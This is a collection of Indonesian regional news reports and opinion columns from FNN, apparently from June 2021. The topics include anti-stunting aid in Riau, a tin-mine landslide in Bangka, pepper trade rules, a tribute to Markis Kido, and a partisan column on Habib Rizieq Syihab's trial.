Pekanbaru, FNN - Manajemen PT Riau Andalan Pulp and Paper (RAPP) memberikan bantuan 10.400 paket makanan tambahan (PMT) untuk anak dan balita di enam wilayah operasional industri kertas tersebut guna menurunkan angka stunting di daerah itu. "Bantuan PMT terdiri atas susu, kacang hijau biskuit balita, tersebut hanya stimulan namun yang penting dan yang sedang dilakukan juga adalah upaya pendampingan kepada kader Posyandu agar bisa juga memberikan penyuluhan kepada ibu-ibu di desa setempat dalam mengolah dan membuat makanan bergizi untuk anak mereka," kata Direktur PT RAPP, Mulia Nauli di Gubernuran Riau di Pekanbaru, Rabu. Pemberian PMT dirangkaikan dengan Pencanangan Gerakan TP-PKK dalam menurunkan angka stunting, bertema "Ayo tingkatkan peran serta PKK dalam pencegahan dan penanganan stunting menuju keluarga sejahtera", dihadiri Gubenur Riau Syamsuar, Ketua TP PKK Provinsi Riau Ny. Misnarni Syamsuar, Kepala Perwakilan Badan Kependudukan Keluarga Berencana Nasional (BKKBN) Provinsi Riau Mardalena Wati Yulia dan pemateri Kepala BKKBN RI Hasto Wardoyo. Mulia Nauli mengatakan, berkoordinasi dengan Diskes setempat, BKKBN dan Puskesmas setempat, RAPP sudah melatih 300 kader Posyandu dari 276 Posyandu di Riau, secara virtual dan kegiatan ini bagian dari komitmen perusahaan mendorong program pemerintah sebelum 2030 Riau bisa capai target zero stunting. Ia menyebutkan, untuk enam wilayah operasional pelatihan dan bantuan diberikan yakni Kabupaten Pelalawan, Kab. Siak, Kab. Kuansing, Kab. Kampar, Kepulaun Meranti dan Kota Pekanbaru. "Di samping itu Tim RAPP juga melakukan peninjauan ke lapangan dalam menggencarkan sosialisasi pentingnya pemberian asupan gizi yang baik bagi balita agar upaya bersama bersinergi dengan semua pihak terkait dalam percepatan penangan stunting di daerah ini bisa dilakukan," katanya. Ia menekankan bahwa, semua pihak perlu mendorong pentingnya percepatan stunting dan perhatian kesehatan dan gizi yang baik bagi ibu-ibu hamil, anak dan balita. "Sebab saya di sini ada karena dilahirkan oleh ibu, peran ibu menyusui dan membesarkan anak-anaknya sampai bisa berjalan, berlari karena ibu. Jadi ini tugas kita semua untuk mencegah stunting sebab anak yang lahir sehat adalah cikal bakal munculnya pemimpin yang berkualitas," katanya. (mth)

Pemkot Pangkalpinang Pulangkan 10 Pekerja Lokalisasi Teluk Bayur

Pangkalpinang, FNN - Pemerintah Kota Pangkalpinang, Provinsi Kepulauan Bangka Belitung, telah memulangkan 10 perempuan yang bekerja di lokalisasi Teluk Bayur ke daerah masing-masing. "Pemulangan para pekerja perempuan ini sebagai salah satu upaya Pemkot Pangkalpinang untuk menciptakan suasana yang lebih tertib, aman dan nyaman," kata Wali Kota Pangkalpinang Maulan Aklil di Pangkalpinang, Rabu. Ia menjelaskan pemulangan kembali para pekerja perempuan tersebut difasilitasi Pemkot Pangkalpinang dan seluruhnya diberangkatkan dari Bandara Depati Amir. "Pemulangan 10 pekerja berjalan lancar dan aman. Mereka sudah kita kembalikan ke daerah masing-masing dan kita harapkan tidak kembali lagi ke Pangkalpinang untuk melakukan aktivitas yang sama," kata Maulan. Wali Kota juga memberikan apresiasi kepada Dinas Sosial, Satuan Polisi Pamong Praja kota setempat dan seluruh instansi yang terlibat dalam proses pemulangan para pekerja. "Langkah kecil ini akan terus kami lakukan secara konsisten agar Pangkalpinang semakin kondusif dan bersih dari lokalisasi," katanya. Aktivitas para pekerja perempuan di lokalisasi cukup meresahkan warga di daerah itu dan dikhawatirkan akan menjadi salah satu penyebab terganggunya keamanan dan ketertiban masyarakat. Dalam pemulangan tersebut Pemkot menegaskan kepada para pekerja agar tidak kembali lagi ke Pangkalpinang jika hanya ingin melakukan pekerjaan yang sama. "Kami ingin Pangkalpinang bersih dari lokalisasi," kata Maulan. (sws)

Basarnas Catat 300 Angka Kecelakaan Nasional

Sungailiat, Bangka, FNN - Badan Nasional Pencarian dan Pertolongan (Basarnas) mencatat kurang lebih 300 angka kecelakaan nasional atau kondisi membahayakan jiwa manusia tersebar di sejumlah wilayah di Indonesia. Kepala Pusat Data dan Informasi Basarnas Pusat Didi Hamzar di Sungailiat, Rabu, mengatakan kurang lebih 300 angka kecelakaan nasional itu terhitung dari Januari 2021 hingga sekarang. "Angka kecelakaan atau kondisi membahayakan jiwa manusia tersebut didominasi kecelakaan wilayah perairan seperti di laut, sungai maupun wilayah perairan lainnya," jelasnya. Menurut dia, tingginya angka kecelakaan di perairan karena letak geografis yang merupakan wilayah kepulauan dengan kondisi di sebagian wilayah perairan cukup ekstrim. Dia mengakui, meskipun Basarnas memiliki kemampuan semua bidang namun jumlah personel cukup terbatas, sehingga dituntut memperkuat komunikasi dan sinergitas di semua lembaga di daerah termasuk dengan lembaga TNI dan Polri. Sesuai dengan fungsi dan strategi, kata Didi Hamzar, dalam menjalankan tugas penyelamatan korban mengedapankan pola Profesional, Sinergi dan Militan serta merespon dengan cepat "Quick Response". "Personel Basarnas secara nasional membutuhkan 10.000 personel tetapi saat ini hanya memiliki 3.800 personel artinya postur pegawai Basarnas masih rendah atau kurus," jelasnya. Menurut dia, kondisi pandemi COVID-19 mempengaruhi tingginya angka membahayakan jiwa manusia karena masyarakat memaksa berusaha memenuhi kebutuhan hidupnya. (sws)

BPBD Babel Kerahkan Alat Berat Evakuasi Enam Korban Kecelakaan Tambang

Pangkalpinang, FNN - Badan Penanggulangan Bencana Daerah Provinsi Kepulauan Bangka Belitung mengerahkan satu unit alat berat untuk mengevakuasi enam orang penambang bijih timah korban kecelakaan tambang di Desa Pemali Bangka pada Rabu dini hari. "Alhamdulillah, enam korban laka tambang timah ini sudah berhasil dievakuasi," kata Kepala BPDB Provinsi Kepulauan Babel Mikron Antariksa di Pangkalpinang, Rabu. Ia mengatakan kecelakaan penambangan bijih timah secara konvesional ini di Desa Pemali, karena hujan lebat cukup ekstrim yang menyebabkan tanah permukaan tambang bergerak dan longsor menimbun para penambang tersebut. "Dua dari enam korban meninggal dunia dan sisanya mengalami luka berat serta ringan," ujarnya. Menurut dia, kecelakaan tambang timah hari ini menunjukkan bahwa keselamatan dalam menambang sangat penting, apalagi di tengah kondisi cuaca hujan yang cukup ekstrim. "Saat ini dua korban yang meninggal diotopsi dan korban lainnya menjalani perawatan di rumah sakit," katanya. Kapolsek Pemali Bangka Ipda Reza Irawan membenarkan kecelakaan tambang di Desa Pemali tersebut. Ia mengatakan kejadian kecelakaan penambangan timah ini berawal ketika enam penambang mencari sisa pasir timah dari bekas galian tambang dengan kedalaman 20 meter di lokasi tambang timah Unit Produksi Timah Primer SITE Pemali Bangka, Rabu (23/06) dinihari. "Saat ini sampai dengan sekarang telah ditemukan dari seluruh penambang terdiri sebanyak enam orang dan kita bersama BPBD melaksanakan upaya pencarian dan ditemukan empat penambang dalam keadaan luka berat dan dua penambang dalam kondisi meninggal dunia," katanya.

Pemprov Babel Terbitkan Pergub Larangan Masuk Lada Putih Luar Daerah

Bangka Selatan, FNN - Pemerintah Provinsi Kepulauan Bangka Belitung akan menerbitkan peraturan gubernur larangan masuk lada putih dari luar daerah guna menjaga kualitas lada petani di daerah itu. "Disinyalir banyak lada luar masuk dan dimanfaatkan untuk menyamarkan lada petani daerah ini," kata Gubernur Kepulauan Babel Erzaldi Rosman Djohan saat meninjau perkebunan lada petani Desa Bencah, Rabu. Ia mengatakan peraturan gubernur tentang larangan masuk lada dari luar daerah ini sebagai langkah pemerintah provinsi dalam menjaga kualitas lada hasil petani Bangka Belitung "Muntok White Pepper" yang sudah dikenal di pasar dunia. "Dalam waktu dekat ini, pergub ini bisa diselesaikan dan disosialisasikan kepada masyarakat," ujarnya. Menurut dia, lada putih Bangka Belitung secara alami tidak bisa ditiru dan dilebihi oleh komoditas dari daerah lainnya. "Tingkat kepedasan lada putih Bangka tetap tujuh persen dan memiliki aroma yang khas," ujarnya. Sementara untuk memperbaiki tata kelola pasar lada, Pemprov Kepulauan Babel selain telah memiliki koperasi lada, juga telah memiliki Badan Pengelolaan, Pengembangan dan Pemasaran Lada (BP3L) yang bertugas mengawal kualitas mutu lada dan memberikan pengarahan kepada masyarakat mulai dari menanam sampai pemasaran. Di samping itu adanya Tim Pembinaan, Pengawasan, Pengendalian Perdagangan Lada (TP4L) yang berfungsi mengawasi jalur perdagangan lada, sehingga meminalisir pelanggaran yang dilakukan eksportir dan pengumpul lada petani. “Saya berharap sekaligus mendorong seluruh petani lada yang ada di Bangka Belitung bisa menjadi anggota koperasi petani lada Bangka Belitung, agar dalam pengelolaan dan penjualan lada menjadi satu pintu, dan bahan baku yang dihasilkan tidak jadi bahan campuran pihak di luar Babel sehingga kualitas lada terjaga,” katanya. (sws)

Enam Penambang Timah Ilegal Tertimbun Longsor di Bangka

Bangka, FNN - Enam orang penambang bijih timah ilegal di Desa Pemali, Kabupaten Bangka, Provinsi Kepulauan Bangka Belitung, tertimbun tanah longsor pada Rabu dini hari pukul 03.00 WIB. "Dua dari enam penambang timah tertimbun tanah longsoran tanah tambah itu meninggal dunia," kata Kapolsek Pemali Bangka Ipda Reza Irawan saat mengevakuasi korban di Bangka, Rabu. Ia mengatakan kejadian kecelakaan penambangan timah ini berawal ketika enam penambang mencari sisa pasir timah dari bekas galian tambang dengan kedalaman 20 meter di lokasi tambang timah Unit Produksi Timah Primer SITE Pemali Bangka, Rabu dinihari. "Dari enam korban tersebut, dua dinyatakan meninggal dunia, tiga luka ringan dan satu luka berat," ujarnya. Ia menyatakan dalam mengevakuasi korban kecelakaan tambang timah ini, pihaknya bersama BPBD mengerahkan alat berat untuk menggali longsoran tanah tersebut. "Saat ini, dua orang korban yang meninggal dunia sedang diautopsi dan korban luka-luka di rawat di rumah sakit," katanya. Salah seorang kakak korban IR (40), Yati mengatakan kejadian ini meninggalkan luka yang mendalam bagi keluarganya. "Biasanya tidak pernah mengolok, bercanda, sebulan ini bercanda , ngetawain saya, biasanya taat sama kakaknya, tidak pernah neko neko, itulah firasatnya, ditanyapun selalu nunduk, barang kali ini sudah garis dia, cuma mohon, beri kesempatan kerja siang bagi orang ngelimbang karena tambang ini tidak ada orang yang bekerja, tidak ada aktifitas lagi kalau diberi itu juga," katanya. (sws)

Bawaslu Bangka Tengah Perkuat Peran SKPP Menyongsong Pemilu 2024

Koba, Babel, FNN - Badan Pengawas Pemilu Kabupaten Bangka Tengah, Provinsi Kepulauan Bangka Belitung, memperkuat peran Sekolah Kader Pengawasan Partisipatif (SKPP), dalam rangka menyongsong Pemilu 2024. "SKPP merupakan program Bawaslu RI yang diteruskan ke daerah, dengan merekrut para pemilih pemula untuk memperkuat pengawasan secara partisipatif," kata Ketua Bawaslu Bangka Tengah, Robianto dalam acara sosialisasi pendidikan pemilih daerah rawan pelanggaran di Kecamatan Lubuk Besar, Rabu. Kendati pemilu serentak dilaksanakan pada 2024, namun dari sekarang pihak Bawaslu Bangka Tengah sudah mulai memperkuat sumber daya manusia (SDM) yang andal untuk mengawal pesta demokrasi mendatang. "Dari sekarang kita sudah mulai mempersiapkan diri kendati pemilu masih lama, semua elemen dan instrumen yang ada sudah siap jalan pada hari pelaksanaannya nanti," kata Robianto. Mantan wartawan Jawapos Grup itu menilai memperkuat pengawasan itu sangat penting mengingat potensi kecurangan dalam pemilu juga tinggi terutama terkait dengan politik uang. "Bagi kami politik uang itu racun dalam berdemokrasi, ini terus kita kawal dan peran SKPP sangat dibutuhkan dalam mengawasi kecurangan tersebut," tambah Robianto. Menurut dia, dalam pengawasan pemilu pihaknya tidak bisa berdiri sendiri tetapi butuh peran aktif dari masyarakat melalui pengawasan partisipatif dengan cara aktif mengawasi, melaporkan, dan mencegah terjadinya praktik-praktik kecurangan, atau menyampaikan informasi terhadap dugaan pelanggaran yang terjadi. Robianto juga menyampaikan bahwa pihaknya selalu merilis Indeks Kerawanan Pemilu (IKP) yang berorientasi pada empat dimensi yaitu konteks sosial dan politik, pemilu yang bebas dan adil, kontestasi, dan partisipasi. "Dalam dimensi-dimensi ini terbagi lagi dalam sub dimensi. IKP ini merupakan hasil riset yang dilakukan oleh Bawaslu dengan melibatkan empat lembaga pada setiap kabupaten/kota," jelasnya. (sws)

BPPT Buat Kliring Teknologi-Inovasi Struktur Tanggul untuk Waduk Laut

Jakarta, FNN - Badan Pengkajian dan Penerapan Teknologi (BPPT) melakukan kliring teknologi dan inovasi struktur tanggul tegak untuk rencana pembangunan waduk laut muara Sungai Cisadane Tangerang, Banten. "BPPT sedang melakukan kliring teknologi dan inovasi struktur tanggul yang tegak untuk menghasilkan desain alternatif struktur tanggul laut untuk rencana pembangunan waduk laut Sungai Cisadane Tangerang Banten," kata Kepala BPPT Hammam Riza dalam webinar Inovasi Teknologi Struktur Pelindung Pantai Mendukung Pembangunan Wilayah Pesisir Terpadu yang Berkelanjutan di Jakarta, Rabu. BPPT melaksanakan kajian alternatif desain struktur tanggul laut tegak yang dapat berfungsi sebagai tanggul pencegah banjir rob maupun sebagai tanggul waduk laut. Hammam menuturkan desain struktur tanggul laut tersebut menjadi alternatif yang lebih ramah lingkungan dan memiliki tingkat komponen dalam negeri (TKDN) cukup besar, tetapi tetap andal dan aman secara struktur (reliable) serta layak secara ekonomi (feasible). Lingkup kajian keandalan dan keamanan struktur meliputi desain struktur tanggul sisi laut yang stabil dan kedap air, analisis pembebanan utama yang bekerja pada struktur seperti lalu lintas, gempa dan gelombang. Kemudian, desain struktur tanggul sisi pantai yang stabil dan kedap air, desain perkuatan tanah fondasi dan kajian stabilitas, desain komposisi tanah pengisi struktur tanggul yang stabil dan kedap air, serta desain struktur bawah pendukung struktur atas. Kepala BPPT mengatakan inovasi teknologi struktur tanggul laut dan pelindung pantai penting untuk mitigasi bencana di wilayah Indonesia seperti mitigasi abrasi di tulang punggung ekonomi Pulau Jawa. Pengembangan kawasan pesisir utara (Pantura) Pulau Jawa sebagai tulang punggung ekonomi nasional menghadapi potensi bencana karena kenaikan muka air laut, banjir rob dan penurunan tanah terutama di DKI Jakarta, Pekalongan dan Semarang. Selain itu, kawasan Pantura Jawa juga mengalami abrasi dan kota-kota besarnya juga menghadapi krisis ketersediaan air baku. Program inovasi teknologi struktur tanggul laut dan pelindung pantai itu juga sejalan dan berkorelasi dengan program yakni program National Capital Integrated Coastal Development (NCICD) untuk pembangunan wilayah pantai secara terpadu, dan Pengembangan Terpadu Pesisir Ibukota Negara (PTPIN). Kepala Balai Teknologi Pelabuhan dan Dinamika Pantai (BTIPDP) Widjo Kongko mengatakan dalam program NCICD, BPPT utamanya berkontribusi pada dua kegiatan yakni pertama, pemodelan numerik hidrodinamika dan uji model fisik antara lain terkait dampak perubahan pola arus, morfologi pantai dan sedimentasi serta penetapan layout untuk uji model fisik baik 2D maupun 3D. Kegiatan kedua adalah teknologi tanggul dan tata air berupa desain tanggul yang meliputi jenis konstruksi, teknologi, metode konstruksi, material dan tahap pelaksanaan. (mth)

Mengenang Markis Kido: Kegigihan Ayah dan Kerja Keras Anak

Kegigihan dan pengorbanan Djumharbey akhirnya terbalas dengan melesatnya prestasi Kido bersama Hendra. Mereka juara di berbagai pertandingan regional dan internasional, serta bertengger di papan atas peringkat BWF (Badminton Word Federation). Oleh Rahmi Aries Nova Jakarta, FNN - SEPEKAN telah berlalu, kepergian mendadak Markis Kido, pada Senin (14/6), akibat serangan jantung saat bermain bulutangkis di GOR Petrolin Tangerang, masih menyisakan duka yang mendalam pada rekan-rekannya saat di Pelatnas PBSI Cipayung, lawan-lawannya di berbagai turnamen, terlebih keluarganya. “Duka dan trauma memang tidak bisa sekejap lenyap, kami masih turut merasakan kesedihan dan duka mendalam atas kepergian almarhum Kido yang begitu cepat. Sekali lagi mohon maaf lahir batin untukmu Do dan keluarga almarhum yang ditinggalkan,” ungkap Candra Wijaya, pebulutangkis panutan Kido dalam akun Instagramnya. Pemilik GOR Candra Wijaya International Badminton Center ini mengaku ada beberapa hal yang ia belum sampaikan secara tepat. Oleh karena itu, ia juga memohon maaf, tentang kronologis kepergian Kido mulai saat jatuh di lapangan, saat dibawa ke rumah sakit terdekat, hinga Kido dinyatakan meninggal dunia pada pukul 19.17 WIB oleh pihak rumah sakit. Pihak keluarga sendiri, melalui sang ibu, Yul Asteria, mengatakan telah ikhlas atas kepergian suami dari Richa Sari Pawestri (sesama pemain Pelatnas), ayah dari Quensha dan Quenara. Sepekan ini ibu empat anak ini selalu memposting foto-foto almarhum di akun medsosnya baik saat Kido sedang di lapangan, maupun di luar lapangan bersama keluarga. Penulis sendiri rasanya seperti baru kemarin bertemu ayah Kido, almarhum Djumharbey Anwar, yang terduduk di kursi kayu panjang di pinggir lapangan Pelatnas PBSI. Padahal, peristiwa itu terjadi 20 tahun yang lalu. Kala itu, saya dan beberapa rekan yang sehari-hari meliput di Cipayung, melihat laki-laki paruh baya membawa setumpuk berkas dan kelihatannya seperti menunggu seseorang di pinggir lapangan. Pada saat kami menghampiri laki-laki tersebut, ia mengaku menunggu Ketua Umum PBSI Subagyo HS yang sedang rapat di ruang atas gedung bersama pengurus lain. Seperti sudah tidak sabar ingin curhat, laki-laki yang tak lain ayah Kido itu pun mengaku ingin menghadap langsung Subagyo, yang saat itu menjabat sebagai Kepala Staf Angkatan Darat (KASAD), menyangkut proses promosi di PBSI. Intinya Djumharbey membawa data putranya, Kido, pemain kelahiran 11 Agustus 1984, yang telah mencetak prestasi di berbagai kejuaraan seri (sirkuit) nasional yang menjadi acuan pemilihan pemain untuk masuk ke Pelatnas. Bahkan, data tersebut pun ia lengkapi dengan setumpuk kliping dari berbagai media cetak yang memuat berita dan foto putranya. Seperti jumpa pers terbatas akhirnya kami pun memuat keresahan sang ayah dan mengulas sepak terjang Kido di media kami. Kesimpulannya, Kido wajib mendapat satu kursi di Pelatnas tunggal putra yang ketika itu persaingannya cukup ketat. PBSI pun akhirnya memanggil Kido menjadi penghuni Pelatnas (Pemusatan Latihan Nasional) Cipayung, kawah candra dimuka pebulutangkis Indonesia, sebelum mentas di panggung dunia. Saya salut dengan keberanian sang ayah, karena meski tubuhnya terlihat ringkih, ia tak gentar menghadap Subagyo HS, jenderal berkumis yang menurut saya agak ‘angker’, demi memperjuangkan putranya. Berikutnya Djumharbey juga sukses mengantarkan dua adik Kido, Bona Septano dan Pia Zebadiah Bernadet ke Pelatnas menyusul sang kakak. Sepanjang sejarah Pelatnas mungkin baru keluarga Djumharbey dan keluarga Mainaky (Richard, Rexy, Reony, Marleve) yang menjadi penyumbang anggota keluarga terbanyak ke PBSI. Di Pelatnas ternyata Kido harus memilih tetap bertahan di tunggal putra yang ketika itu masih didominasi oleh Taufik Hidayat, atau pindah ke nomor ganda putra berpasangan dengan rekannya sesama pemain asal Jaya Raya Hendra Setiawan yang menyusul ke Pelatnas di tahun berikutnya. Meski sang ayah lebih menginginkan Kido sukses sebagai pemain tunggal, tetapi akhirnya ia mengalah ketika Kido memilih bergabung dengan tim ganda putra yang dikomandoi pelatih Herry IP dan Sigit Pamungkas. Penulis melihat suasana kekeluargaan di ganda putra menjadi salah satu pertimbangan, selain prestasi dan tradisi emas olimpiadenya. Ketika itu, tim ganda putra Pelatnas mempunyai jadwal makan bersama di luar Pelatnas setiap Rabu siang. Acara ini kerap diisi berenang bersama untuk mengisi waktu luang. Berbeda dengan suasana di tunggal putra yang lebih individualistis. Kegigihan dan pengorbanan Djumharbey akhirnya terbalas dengan melesatnya prestasi Kido bersama Hendra. Mereka juara di berbagai pertandingan regional dan internasional, serta bertengger di papan atas peringkat BWF (Badminton Word Federation). Sayangnya, Djumharbey tidak sempat melihat putra kebanggaannya meraih puncak prestasinya, meraih emas Olimpiade Beijing, pada 16 Agustus 2008. Ia berpulang pada 2 April 2008. Kini Kido, yang dimakamkan satu liang dengan sang ayah. Ia tidak bisa melihat siapa yang akan menjadi penerus tradisi emas ganda putra setelah ia menjadi ganda putra Indonesia terakhir peraih emas Olimpiade, setelah pasangan Rexy Mainaky/Ricky Subagja (Atlanta 1996), Candra Wijaya/Tony Gunawan (Sidney 2000). Ia juga belum sempat mencicipi uang pensiun seumur hidup bagi atlet peraih medali Olimpade yang hanya sebatas janji-janji tanpa realisasi. Apalagi, melihat fakta, APBN (Anggaran Pendapatan dan Belanja Negara) terus dikorupsi dan atlet berprestasi tetap gigit jari. ** Penulis adalah wartawan senior FNN.co.id

Besok Vonis HRS: Kita Lihat Independensi Penegakan Keadilan

TAKARAN yang paling krusial untuk melihat wajah demokrasi adalah penegakan keadilan. Jika penegakan keadilan mendekati kesempurnaan, maka semakin sedikitlah bopeng demokrasi. Seberapa beratkah pekerjaan untuk menegakkan keadilan? Sangat berat. Sebab, keadilan yang tegak tidak menghasilkan apa-apa untuk keuntungan pribadi. Orang-orang yang menegakkan keadilan adalah orang-orang yang paham betul bahwa mereka hanya akan mendapatkan apa-apa yang menjadi haknya. Jadi, kalau dibalik, apakah orang-orang yang mendapatkan apa-apa yang bukan menjadi hak mereka adalah orang-orang yang tidak menegakkan keadilan? Pasti! Dan ini generik sifatnya. Berlaku di mana pun. Di ruang sidang, di jalan-jalan, di pasar, di kantor, di kampus. Karena itu, Marcus Tullius Cicero (filsuf Romawi sebelum Masehi) mengatakan, “Fondasi keadilan adalah itikad baik.” The foundation of justice is good faith. Hanya orang-orang yang punya itikad baik (good faith) yang memiliki mentalitas dan nyali keras untuk menegakkan keadilan. Khususnya penegakan keadilan di ruang sidang. Mereka kuat menghadapi apa saja, berupa godaan imbalan, godaan subjektivitas, dan intervensi kekuasaan. Inilah “hama” peradilan. Di antara tiga “hama penegakan keadilan” tersebut, intervensi kekuasaan adalah gangguan yang paling berat. Di zama sebelum Reformasi 1998, hama intervensi itu merajalela. Pasca-reformasi, suasana di ruang sidang pengadilan relatif tenteram. Bebas hama. Akan tetapi, sejak Joko Widodo (Jokowi) memimpin negara ini, suasana penegekan keadilan kembali dilanda hama intervensi dengan varian yang lebih ganas. Kita memang tidak melihat langsung serangan hama itu, tetapi ada bekas-bekas yang ditinggalkannya. Intervensi kekuasaan menggerogoti independensi penegakan keadilan dari hulu sampai hilir. Meskipun ladang penegakan keadilan belum seluruhnya diserbu hama intervensi kekuasaan, tetapi serangan hama itu semakin meluas. Intervensi kekuasaan itu terlihat jelas ketika penegakan keadilan “mengganggu” kepentingan para penguasa level tinggi. Salah satu kasus yang diduga kuat akan dirasuki oleh intervensi kekuasaan adalah penegakan keadilan atas diri Habib Rizieq Syihab (HRS). Besok, Kamis, 24 Juni 2021, independensi penegakan keadilan akan diuji. Sidang terakhir tuduhan berbohong hasil tes swab Rumah Sakit Ummi, Kota Bogor, Jawa Barat. Majelis hakim akan membacakan putusan perkara ini di Pengadilan Negeri Jakarta Timur. Dalam putusan perkara sebelumnya, yaitu kasus kerumunan Petamburan, proses penegakan keadilan dirasakan tidak mencerminkan independensi pengadilan. Sebagai contoh, para pakar hukum pidana berpendapat HRS tidak seharusnya diadili karena dia telah membayar denda kerumunan. Tetapi, majelis hakim menjatuhkan hukuman penjara 8 (delapan) bulan dalam sidang pada 27 Mei 2021. Di hari yang sama, HRS dihukum denda Rp 20 juta untuk kasus kerumunan Megamendung. Jelas terlihat independensi penegakan keadilan untuk kedua perkara ini terkena hama intervensi kekuasaan. Ada yang melakukan okestrasi kerumunan HRS. Padahal, kerumunan yang melanggar protokol kesehatan terjadi di banyak tempat. Diinisiasi oleh para pemegang kekuasaan. Bahkan, Presiden Jokowi membuat kerumunan di Maumere, NTT, akhir Februari 2021. Tetapi, polisi menolak pengaduan masyarakat. Kasus ketiga yang dijalani HRS dengan dakwaan berbohong terkait hasil tes swab di RS Ummi Bogor, dipastikan akan menjadi penakar independensi penegakan keadilan. Aroma politis di kasus ini sangat menyengat. Misalnya, pernah seseorang yang sangat dekat dengan pusat kekuasaan mencuitkan “kegembiraan” ketika HRS ditahan polisi. “Sampai bertemu 2016,” bunyi cuitan staf khusus Istana Presiden yang berinisial DH. Cuitan ini terkonotasi dengan pilpres 2024. Tafsiran dari cuitan ini adalah bahwa HRS, kalau dihukum 6 tahun penjara sesuai tuntutan jaksa, tidak akan bisa “mengganggu” misi para capres lawan HRS yang ingin masuk Istana. Banyak yang berpendapat, DH menulis cuitan senang itu karena dia ingin agar kekuasaan yang menindas kelompok Islam bisa berlanjut mulus lewat pilpres 2024. Dari sini, orang mengartikan ada upaya para penguasa untuk memenjarakan HRS semaksimal mungkin sehingga dia baru akan bebas pada 2026. Setelah proses pilpres selesai. Inilah yang dianggap sebagai skenario politik kasus swab tes RS Ummi. Tuntutan hukumannya sangat fenomenal. Berlebihan sekali. Berbohong hasil tes kesehatan harus dituntut hukuman penjara 6 tahun. Ini membuat publik mempertanyakan mengapa proses hukum kasus pembunuhan 6 pengawal HRS lambat sekali. Para pelaku sudah jelas dan mereka melakukan pembunuhan sadis penuh kebiadaban. Seluruh rakyat pastilah berharap agar keadilan benar-benar ditegakkan. Kita semua wajib aktif mengawal semua proses penegakan keadilan. Di mana pun itu dan sekecil apa pun kasusnya. “Kalau kita tidak merawat keadilan, maka pastilah keadilan tidak akan merawat kita,” kata Francis Bacon –filsuf dan negarawan Inggris abad ke-16. Jangan sampai intervensi kekuasaan atas penegakan keadilan mencederai perasaan rakyat. Sebab, kalau cedera itu sampai akut, maka sangat mungkin mereka akan termakan pendapat bahwa keadilan itu tidak ada. Tidak bisa diharapkan. Tentu sikap putus asa sangat berbahaya. Rakyat bisa tergiring untuk mencari keadilan di luar sistem. Lebih mempriharinkan lagi jika mereka pernah tahu buah pikiran Elimile Autumn –penyanyi dan penulis lagu Amerika kelahiran 1979. “There is no such thing as justice, all the best that we can hope for is revenge.” “Keadilan itu tidak ada, yang terbaik untuk kita harapkan adalah balas dendam,” kata musisi yang mahir memainkan biola itu. Semudah itukah rakyat kehilangan harapan? Kelihatannya tidak, jika para penguasa sadar bahwa perilaku mereka bisa menjerumuskan bangsa ini ke jurang kekacauan. Mari kita simak akhir dari penegakan keadilan besok dan hari-hari selanjutnya.

Wapres: Moderasi Beragama Jadi Solusi Tantangan Islam Masa Kini

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengatakan moderasi beragama merupakan solusi terhadap berbagai tantangan dalam Islam saat ini. Saat mengikuti acara The 2nd International Conference on Humanity Law And Sharia secara virtual, Rabu, Wapres mengatakan moderasi beragama tersebut antara lain dengan menerapkan cara berpikir tidak tekstual dan tidak liberal. "Cara berpikir yang benar dan tepat adalah cara berpikir yang moderat dalam arti tidak tekstual dan tidak liberal, yaitu dengan melakukan ijtihad terhadap masalah-masalah yang belum di-ijtihadi sebelumnya atau sudah di-ijtihadi tapi sudah tidak relevan lagi," kata Wapres Ma’ruf dari kediaman dinas wapres di Jakarta, Rabu. Seiring dengan perkembangan zaman, tantangan dalam beragama Islam terjadi, sehingga perlu kajian mendalam untuk memahami permasalahan sesuai dengan konteksnya atau dikenal juga dengan ijtihad. Cara berpikir moderat tersebut, lanjut Wapres, juga dapat menghindarkan umat dari kekeliruan terhadap cara pandang Islam yang statis dan konservatif. "Islam memang agama yang memberikan kemudahan tetapi bukan tanpa batas, bukan kemudahan yang berlebihan. Mencari kemudahan secara berlebihan tidak diperbolehkan karena hal demikian itu semata-mata mencari rukhsah," jelasnya. Wapres juga mengajak seluruh akademisi dan cendekiawan Muslim untuk ikut memberikan pemikiran dan solusi dalam menyelesaikan berbagai permasalahan bangsa dengan pendekatan moderasi beragama. "Saya mengajak para akademisi dan cendekiawan untuk bisa mengambil prakarsa lebih besar guna mencari solusi terbaik dari permasalahan yang dihadapi oleh masyarakat, bangsa, dan negara dengan solusi keagamaan," ujarnya. Selain permasalahan dapat selesai dengan baik, kata Wapres, mengutamakan cara berpikir moderat juga dapat terhindar dari kemungkinan konflik atau perpecahan. (sws)

DPRD Serdang Bedagai Setujui Ranperda Pertanggungjawaban APBD 2020

Seirampah, FNN - DPRD Kabupaten Serdang Bedagai, Sumatera Utara, menyetujui Rancangan Peraturan Daerah Pertanggungjawaban Pelaksanaan APBD Tahun Anggaran 2020. Bupati Serdang Bedagai, Darma Wijaya di Seirampah, Rabu, mengatakan, sesuai dengan Peraturan Pemerintah No. 12 tahun 2019 tentang Pengelolaan Keuangan Daerah bahwa kepala daerah wajib menyampaikan Ranperda tentang Pertanggungjawaban Pelaksanaan APBD pada DPRD paling lambat enam bulan setelah tahun anggaran berakhir yang selanjutnya diselenggarakan pembahasan dan persetujuan penetapan. Ranperda yang sudah disetujui bersama DPRD itu merupakan kewajiban kepala daerah sebagaimana yang diamanatkan juga dalam UU keuangan negara untuk melengkapi pranata hukum dalam rangka penyelenggaraan pemerintahan, pembangunan dan kemasyarakatan. "Dokumen tersebut merupakan salah satu wujud implementasi tata kelola pemerintahan yang baik di Kabupaten Sergai,” katanya. Berdasarkan hasil diskusi dan pembahasan yang telah dilaksanakan bersama Banggar DPRD Kabupaten Serdang Bedagai diperoleh beberapa informasi, catatan, kritik dan saran yang membangun serta rekomendasi yang perlu dan akan segera ditindaklanjuti dan dilaksanakan demi penyempurnaan kinerja pelayanan publik dan pembangunan di Serdang Bedagai. “Kami mengucapkan terima kasih kepada dewan atas persetujuan yang telah diberikan terhadap Ranperda tentang Pelaksanaan APBD Tahun Anggaran 2020 untuk segera dapat ditetapkan menjadi peraturan daerah, " katanya. Dalam kesempatan itu ia juga menyampaikan apresiasi terhadap tim gabungan komisi DPRD Kabupaten Serdang Bedagai yang telah menyeleggarakan pembahasan terhadap Ranperda inisiatif DPRD tentang Harga Tertinggi Eceran Gabah. “Semoga Ranperda ini dapat memberikan hasil yang maksimal demi kebaikan bersama dalam upaya meningkatkan kesejahteraan dan kemakmuran petani di Serdang Bedagai, " katanya. (sws)

Senator: Tindak Lanjuti Secara Hukum Laporan PPATK Terkait Dana Otsus

